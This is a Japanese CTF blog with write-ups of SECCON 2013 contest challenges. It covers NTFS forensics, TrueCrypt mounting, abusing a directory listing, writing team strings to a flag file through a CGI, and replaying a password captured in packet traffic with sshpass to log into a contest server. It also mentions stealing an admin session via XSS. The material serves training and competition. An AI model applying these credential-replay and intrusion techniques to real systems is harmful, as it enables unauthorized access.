感想 やはり難しいですね。他の問題もぱらぱら見てみましたが、なかなかとっかかりがつかめず。今、バイナリを少しずつ勉強しているので、次のCTFではバイナリ問題を解いてみたいです。
0 notes
yuki-ctf · 11 years ago
Text
SECCON 2013 全国大会 Write Up
SECCON CTFの全国大会に参加してきました。結果は14位でした(全20チーム)。
Tumblr media
6つのタワー(サーバ)があり、それぞれのタワーに対して、 -隠されたkey(複数あり)を入手して回答する -flagファイルに自チームの文字列を書き込む というチャレンジでした。
pisa 掲示板Webサイトが稼働しているサーバです。 最��のkeyはチームメイトが発見。HTTPのレスポンスヘッダに書かれていました。
key: KEY{YuNbUllbB}
サイトのページをひととおり見たあと、ふと思い立ってログを"key"で検索してみると、ありました!今度はbodyの中に書かれていました。404 Not Foundというタイトルのページに埋め込まれた画像。
<img alt="KEY{hOneyToaStAtPOSTSCRIPT}" width="500" height="667" src="http://pisa.tower/sec\_bbs/assets/img/404\_4.png?1391749682" />
druaga ファイル形式不明のバイナリファイルがパスワードとともに与えられます。サイズは80Mbyte超。チームメイトの「Truecryptかな?」という言葉につられて試してみたら、あっさりマウントできてしまった。 ひとつ目のkeyはファイル名KEY{OoiOtya}.txtになってました。
root@kali64-e430:/media/truecrypt1# ls KEY{OoiOtya}.txt Recycled System Volume Information tanka5t-50000.zip
そのファイルを開くと次の指示があります。
Linux/x86環境にて 0609 と表示するアセンブラ短歌を探し出し そのアセンブラ短歌が書かれた画像の MD5値 を求めよ!
KEY{MD5(taka.jpg)}
※)アルファベットは小文字
Enjoy Hacking! :)
うーん、画像は全部で5万枚。画像から文字を認識して抽出して、、とか大変そうだったので放置してました。 そうこうしているとチームメイトがNiktoをかけた結果をくれました。ディレクトリリスティングでサーバのC:ドライブ配下が閲覧できてしまう! 漁っていると、Administratorのデスクトップにpass.txtというファイルを発見。中身は
kenji@ubuntu32~$ md5sum taka.jpg 929b66d3a90b804c1e3f7f2d7a084c19 taka.jpg kenji@ubuntu32~$
問題の回答っぽい。。。回答すると正解したので、このMD5が二つめのkeyでした。 他のチームのwrite up見てると、画像から文字を抽出して該当するものを探し出してました。私が見つけたのは別解で、問題作成者からのサービスといったところでしょうか。
続いて着目したのはapacheのログ。Program Filesの下に他のアプリケーションと一緒にapacheもいました。実際に問題サーバで稼働中のWebサーバのログで、試しに私のマシンからアクセスするとちゃんとログ出力されます。 眺めていると、hoko.exeとtate.exeというCGI?が気になります。特に、
GET /www/hoko.exe?q=AAAABBBBCCCCDDDDAAAABBBBCCCCDDDD
というログ。どこかで見たかなーと思ってたら、Flagファイルにもともと書かれていたAAAABBBBCCCCDDDDAAAABBBBCCCCDDDDと同じ。ログの日付はSECCON競技開始前なので、運営側が事前に残しているログです。 そこで、Query Stringに自分のチームのキーワードをセットしてhoko.exeに渡せばOKなのでは、と思って試すのですがうまくいきません。さらにサーバを漁っていると、Python27というフォルダの下にhoko.pyとtate.pyというファイルを見つけます。読んでみると、hoko.pyはGETで受け付けたクエリをflag.txtに書き込む、tate.pyはflag.txtの中身を消去する、というものです。ただし、いずれも接続元のIPアドレスをip.txtに記録しておき、次回以降同じIPアドレスからの接続は何も処理せず終了する、というものでした。そうか、手当たりしだいアクセスしてたうちに、私のアドレスはip.txtに記録されてしまっていたのでした。チームメイトの端末で試してもらうと、無事flag.txtに書き込み成功です! 書き込むキーワードは一定時間で変更されるので、タイミングをはかって更新し続けると加点されるのですが、他のチームがflag.txtを一旦消去して自分の分だけ書き込む、という暴挙を繰りかえしてました。。うまく自動化していたようで、うちのチームはそこまでできませんでした。自動化、大事ですね。このフラグは気づいたチームが少なかったようで、あと少し早ければしばらくフラグを独占できていたはず、とか思うと悔しいです。
教訓 babelは、片方のポートに何か送信すると、エコーバックで最後に制御コード付きでkeyが送られていたそうで、ファイルに出力しておけば見れたそうです。こちらから送るときにはいくつか制御コードを試してはいたのですが、まさか制御コードが送られてくるとは。。標準出力でみるだけでなく、ファイルに記録しておくことが大事。 korinは、メール送信フォームでXSSして管理者のセッションIDを入手するものでした。XSSだと相手のアクションが必要となるので、CTFでは関係ないだろうと思って調査すらしてませんでした。思い込みはダメですね。 hanoi���パスワードハッシュは、ユーザ名に改行コードを付加してのsha1でした。オンラインのクラックサイトでも、Johnでも解けないはずだ。。ツールで簡単に解けないように工夫なんですね。まあ、単なるダミーのパスワードだったようですが。 あと、やっぱり自動化は大事!
2日間、あっという間に過ぎてしまいました。オンラインと違って、みんなが同じ場所に集まってやるとモチベーションもあがって良いですね。NICTのNirvanaやBGMなんかも盛り上げてくれましたし。皆さん、本当にありがとうございました。
0 notes
yuki-ctf · 11 years ago
Link
seccon 2012全国大会write up
0 notes
yuki-ctf · 11 years ago
Link
seccon 2012全国大会write up
0 notes
yuki-ctf · 11 years ago
Link
seccon 2012全国大会write up
0 notes
yuki-ctf · 11 years ago
Link
seccon 2012全国大会write up
0 notes
yuki-ctf · 11 years ago
Link
seccon 2012全国大会write up
0 notes
yuki-ctf · 11 years ago
Link
seccon 2012全国大会write up
0 notes
yuki-ctf · 11 years ago
Link
Codegate予選のwrite upまとめ。
0 notes
yuki-ctf · 11 years ago
Link
オンライン予選のwrite upまとめ
0 notes
yuki-ctf · 11 years ago
Link
NTTコミュニケーションズさんのDEFCON CTF予選のレポート。
0 notes
yuki-ctf · 11 years ago
Text
SECCON 2013 CTF オンライン予選
SECCON CTFのオンライン予選に参加してきました。全324チーム中、なんと6位だと思われます(結果発表は後日)。
チームのwrite-upはこちらに順次まとめてもらっています。
http://ganbare-tigers.blogspot.jp/ たくさん解いてくれたチームメンバーに感謝です。
Tumblr media
削除されているファイルの名前は何ですか? フォレンジックス 200
バイナリファイルが与えられます。
root@kali64-e430:~# file Filesystem003.bin Filesystem003.bin: data
まず、問題のファイルをざっと見て気になったのが、
strings すると、FILE0という文字がやたら目につく。
stirling でバイナリをみると、先頭が 46 49 4C 45 30 (FILE0)で始まる。
Tumblr media
"46 49 4C 45 30" で検索すると、どうやらNTFSのMFTという領域で、メタデータが格納されているらしいとわかりました。マウントできないかとかやってたけどうまくいかないので、MFTを解析する方法を探すと、ntfswalk というツールが見つかります。 https://tzworks.net/prototype\_page.php?proto\_id=12
ntfswalk is a command line a tool that traverses a specified NTFS volume reading all MFT entries and pulling predefined statistics as it runs.
usage: Running 'ntfswalk' on an extracted $MFT file ntfswalk -mftfile <name> [-options]
これ、使えそうじゃないですか。早速、mtffileオプションをつけて実行。
C:\> ntfswalk.exe -mftfile Filesystem003.bin > mftfile.txt
こんな感じでダーッとでてきます。
ntfswalk - limited ver: 0.50; Copyright (c) TZWorks LLC Licensed for Demo use only. run time: 01/26/2014 01:55:55 [UTC] cmdline: ntfswalk.exe -mftfile Filesystem003.bin
mft entry | seq | parent mft | type | ext | ref | date | time-utc | MACB | other info | path and filename | various data types 0x00000000 | 1 | 0x00000005 | file | none | 1 | 04/13/2012 | 04:53:09.733 | si:[macb]; fn:[macb] | | [root]\$MFT | [unnamed data : sz: 0x10c0000]; [bitmap : sz: 0x1008]; 0x00000001 | 1 | 0x00000005 | file | none | 1 | 04/13/2012 | 04:53:09.733 | si:[macb]; fn:[macb] | | [root]\$MFTMirr | [unnamed data : sz: 0x1000]; 0x00000002 | 2 | 0x00000005 | file | none | 1 | 04/13/2012 | 04:53:09.733 | si:[macb]; fn:[macb] | | [root]\$LogFile | [unnamed data : sz: 0xc00000]; 0x00000003 | 3 | 0x00000005 | file | none | 1 | 04/13/2012 | 04:53:09.733 | si:[macb]; fn:[macb] | | [root]\$Volume | [security descr : sz: 0x0064]; [vol name : sz: 0x0010]; [vol info : sz: 0x000c : ver: 3:1 (WinXP)]; [obj id : sz: 0x0010 : 4073b6c4-846d-11e1-b500-005056c00008]; 0x00000004 | 4 | 0x00000005 | file | none | 1 | 04/13/2012 | 04:53:09.733 | si:[macb]; fn:[macb] | | [root]\$AttrDef | [security descr : sz: 0x0064]; [unnamed data : sz: 0x0a00]; 0x00000005 | 5 | 0x00000005 | dir | none | 1 | 04/13/2012 | 04:53:09.733 | si:[…b]; fn:[macb] | | [root]\. | [security descr : sz: 0x00e4]; [$I30 : indx root : sz: 0x0038]; [$I30 : bitmap : sz: 0x0008]; [$I30 : indx alloc : sz: 0x1000]; [$TXF_DATA : logged stream : sz: 0x0038]; 0x00000005 | 5 | 0x00000005 | dir | none | 1 | 05/10/2012 | 08:42:07.387 | si:[mac.] | | [root]\. | [security descr : sz: 0x00e4]; [$I30 : indx root : sz: 0x0038]; [$I30 : bitmap : sz: 0x0008]; [$I30 : indx alloc : sz: 0x1000]; [$TXF_DATA : logged stream : sz: 0x0038];
(ひたすら続くのであとは省略)
みごと、MFTからファイルとディレクトリの一覧が抽出できました。 どうしようかと思っていると、他のメンバーが"type"列に"del"とあるのを見つけてくれました。
0x0000428c | 2 | 0x0000428b | del | exe | 2 | 09/28/2009 | 08:25:08.000 | si:[m…] | | [root]\Documents\SkyhookParser\SkyhookParser.exe [8.3: SKYHOO~1.EXE] | [unnamed data : sz: 0x3400]; 0x0000428c | 2 | 0x0000428b | del | exe | 2 | 05/15/2012 | 08:31:15.753 | si:[.a.b]; fn:[macb]; fn8.3[macb] | | [root]\Documents\SkyhookParser\SkyhookParser.exe [8.3: SKYHOO~1.EXE] | [unnamed data : sz: 0x3400]; 0x0000428c | 2 | 0x0000428b | del | exe | 2 | 05/15/2012 | 08:31:15.754 | si:[..c.] | | [root]\Documents\SkyhookParser\SkyhookParser.exe [8.3: SKYHOO~1.EXE] | [unnamed data : sz: 0x3400];
Flagは SkyhookParser.exe
repeat after me ネットワーク・Web 100
(※途中まで別の人が解いているのを、後から参加しました) パケットのキャプチャが与えられます。
root@kali64-e430:~# file followme.cap followme.cap: tcpdump capture file (little-endian) - version 2.4 (Ethernet, capture length 65535)
Wiresharkで開くと、通信内容はTelnetで、後半に別のサーバにsshしていました。下の図は適当なところでFollow TCP Streamしたところ。
Tumblr media
問題が"repeat after me"なので同じようにsshを試みますが、パスワードエラー。制御コードやDELなども入力した形跡があってよくわからないので、キャプチャファイルからパスワード入力部分をまるごとバイナリで切り出してそのまま入力すればどうなるだろう、と考えます。切り出したファイルがこちら。
Tumblr media
確かsshにパスワードを自動入力する方法があったなーと検索してみると、ちょうど良さそうなツールを発見。 http://sourceforge.net/projects/sshpass/ で、こいつを使ってssh。
root@kali64-e430:~# sshpass -f pass.bin ssh -p 31337 [email protected] Welcome to Ubuntu 12.04.3 LTS (GNU/Linux 3.8.0-29-generic x86_64)
Documentation: https://help.ubuntu.com/
System information as of Sun Jan 26 03:59:50 JST 2014
System load: 0.0 Processes: 81 Usage of /: 1.1% of 96.47GB Users logged in: 2 Memory usage: 13% IP address for eth0: 133.242.16.239 Swap usage: 0%
Graph this data and manage this system at https://landscape.canonical.com/
38 packages can be updated. 21 updates are security updates.
The programs included with the Ubuntu system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law.
Last login: Sun Jan 26 03:53:03 2014 from pon091-071.kcn.ne.jp followme$ ls -l total 4 -r–r–r– 1 0 0 25 Dec 24 10:55 flag.txt followme$ cat flag cat: flag: No such file or directory followme$ cat flag.txt Interesting_IPv4_address followme$
うまくいきました! flag.txtの中にFlagが書かれていました。 Flagは Interesting_IPv4_address
calculate it / 計算せよ プログラミング・crypt 100
問題にあるとおり接続すると、計算式らしきものが送られてきます。計算結果を返せばよいのですが、数秒たつと遅すぎると言われます。
root@kali64-e430:~# nc calculateit.quals.seccon.jp 45105 3/3-7-4531448-164-9/3 = Too slow, bye.
pythonで書いてみます。(実は今年からpythonを始めようと思って年末年始にTutorialをみていたのです。)
import socket
def solve(data):     # ここに肝心の計算処理を書いて、、、(ですが、書けない理由は後述) return score
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('calculateit.quals.seccon.jp', 45105))
while True:      q = s.recv(1024)      print q      q = q.replace(' =', '').rstrip()      a = solve(q)      print a      s.send(str(a))
という感じで適当にやっていたのですが、どうにも計算方法がわかりません。。途中で大会運営側からヒントが出ていて、どうやらボウリングのスコア計算ということで。 が、何度かトライしてみるも、正解がでないのです。みんなに手計算してチェックしてもらうと合ってるのに。。
6343715/7232117/9/42 96 Try again.
14168-9/9/9/449/116/1 = 105 Really?
138-6/6/323231418/62 = 84 NG.
1/224345516-1721549/6 = 86 No good.
答えをサーバに送るときに、改行を加える必要があったようです。'\n'をつけるとOKでした。しかしここで次の問題が。いい加減なコードなので最終フレームの3投目と連続ストライ���/スペアに対応していなかったのです。 1~2問は正解しますが、連続で何問も正解しないといけなくて、途中で突破できないややこしい問が来てアウトでした。運が良ければいけるかと思ったのは甘かったです。頭もボーッとしていたので諦めて、他のメンバーがやってくれるのを待つことに。すみません。。
1/25 12時~1/26 12時まで(夜はみんなで飲んだあと再度参戦(笑))、相当疲れました。とても楽しかったのでまたやりたいです。 みなさんありがとうございました。
0 notes